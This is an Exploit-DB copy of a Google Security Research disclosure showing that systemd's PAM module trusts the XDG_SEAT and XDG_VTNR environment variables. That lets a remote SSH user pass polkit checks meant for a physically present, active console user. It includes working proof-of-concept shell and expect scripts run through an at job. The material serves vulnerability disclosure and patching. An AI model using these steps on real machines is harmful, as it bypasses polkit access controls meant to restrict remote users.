Exploit-DB #46743
Description: systemd - Lack of Seat Verification in PAM Module Permits Spoofing Active Session to polkit
Type: dos
Platform: linux
Date: 2019-04-23
Author: Google Security Research

Exploit:
As documented at
<https://www.freedesktop.org/software/polkit/docs/latest/polkit.8.html>, for
any action, a polkit policy can specify separate levels of required
authentication based on whether a client is:

 - in an active session on a local console
 - in an inactive session on a local console
 - or neither

This is expressed in the policy using the elements "allow_any",
"allow_inactive" and "allow_active". Very roughly speaking, the idea here is
to give special privileges to processes owned by users that are sitting
physically in front of the machine (or at least, a keyboard and a screen that
are connected to a machine), and restrict processes that e.g. belong to users
that are ssh'ing into a machine.

For example, the ability to refresh the system's package index is restricted
this way using a policy in
/usr/share/polkit-1/actions/org.freedesktop.packagekit.policy:

  <action id="org.freedesktop.packagekit.system-sources-refresh">
[...]
    <description>Refresh system repositories</description>
[...]
    <message>Authentication is required to refresh the system repositories</message>
[...]
    <defaults>
      <allow_any>auth_admin</allow_any>
      <allow_inactive>auth_admin</allow_inactive>
      <allow_active>yes</allow_active>
    </defaults>
  </action>


On systems that use systemd-logind, polkit determines whether a session is
associated with a local console by checking whether systemd-logind is tracking
the session as being associated with a "seat". This happens through
polkit_backend_session_monitor_is_session_local() in
polkitbackendsessionmonitor-systemd.c, which calls sd_session_get_seat().
The check whether a session is active works similarly.

systemd-logind is informed about the creation of new sessions by the PAM
module pam_systemd through a systemd message bus call from
pam_sm_open_session() to method_create_session(). The RPC method trusts the
information supplied to it, apart from some consistency checks; that is not
directly a problem, since this RPC method can only be invoked by root.
This means that the PAM module needs to ensure that it doesn't pass incorrect
data to systemd-logind.

Looking at the code in the PAM module, however, you can see that the seat name
of the session and the virtual terminal number come from environment
variables:

        seat = getenv_harder(handle, "XDG_SEAT", NULL);
        cvtnr = getenv_harder(handle, "XDG_VTNR", NULL);
        type = getenv_harder(handle, "XDG_SESSION_TYPE", type_pam);
        class = getenv_harder(handle, "XDG_SESSION_CLASS", class_pam);
        desktop = getenv_harder(handle, "XDG_SESSION_DESKTOP", desktop_pam);

This is actually documented at
<https://www.freedesktop.org/software/systemd/man/pam_systemd.html#Environment>.

After some fixup logic that is irrelevant here, this data is then passed to
the RPC method.


One quirk of this issue is that a new session is only created if the calling
process is not already part of a session (based on the cgroups it is in,
parsed from procfs). This means that an attacker can't simply ssh into a
machine, set some environment variables, and then invoke a setuid binary that
uses PAM (such as "su") because ssh already triggers creation of a session via
PAM. But as it turns out, the systemd PAM module is only invoked for
interactive sessions:

# cat /usr/share/pam-configs/systemd
Name: Register user sessions in the systemd control group hierarchy
Default: yes
Priority: 0
Session-Interactive-Only: yes
Session-Type: Additional
Session:
    optional pam_systemd.so

So, under the following assumptions:

 - we can run commands on the remote machine, e.g. via SSH
 - our account can be used with "su" (it has a password and isn't disabled)
 - the machine has no X server running and is currently displaying tty1, with
   a login prompt

we can have our actions checked against the "allow_active" policies instead of
the "allow_any" policies as follows:

 - SSH into the machine
 - use "at" to schedule a job in one minute that does the following:
   * wipe the environment
   * set XDG_SEAT=seat0 and XDG_VTNR=1
   * use "expect" to run "su -c {...} {our_username}" and enter our user's
     password
   * in the shell invoked by "su", perform the action we want to run under the
     "allow_active" policy


I tested this in a Debian 10 VM, as follows ("{{{...}}}" have been replaced),
after ensuring that no sessions are active and the VM's screen is showing the
login prompt on tty1; all following commands are executed over SSH:


=====================================================================
normal_user@deb10:~$ cat session_outer.sh 
#!/bin/sh
echo "===== OUTER TESTING PKCON" >/tmp/atjob.log
pkcon refresh -p </dev/null >>/tmp/atjob.log
env -i /home/normal_user/session_middle.sh
normal_user@deb10:~$ cat session_middle.sh 
#!/bin/sh
export XDG_SEAT=seat0
export XDG_VTNR=1

echo "===== ENV DUMP =====" > /tmp/atjob.log
env >> /tmp/atjob.log

echo "===== SESSION_OUTER =====" >> /tmp/atjob.log
cat /proc/self/cgroup >> /tmp/atjob.log

echo "===== OUTER LOGIN STATE =====" >> /tmp/atjob.log
loginctl --no-ask-password >> /tmp/atjob.log

echo "===== MIDDLE TESTING PKCON" >>/tmp/atjob.log
pkcon refresh -p </dev/null >>/tmp/atjob.log

/home/normal_user/runsu.expect

echo "=========================" >> /tmp/atjob.log
normal_user@deb10:~$ cat runsu.expect 
#!/usr/bin/expect
spawn /bin/su -c "/home/normal_user/session_inner.sh" normal_user
expect "Password: "
send "{{{PASSWORD}}}\n"
expect eof

normal_user@deb10:~$ cat session_inner.sh 
#!/bin/sh
echo "===== INNER LOGIN STATE =====" >> /tmp/atjob.log
loginctl --no-ask-password >> /tmp/atjob.log

echo "===== SESSION_INNER =====" >> /tmp/atjob.log
cat /proc/self/cgroup >> /tmp/atjob.log

echo "===== INNER TESTING PKCON" >>/tmp/atjob.log
pkcon refresh -p </dev/null >>/tmp/atjob.log

normal_user@deb10:~$ log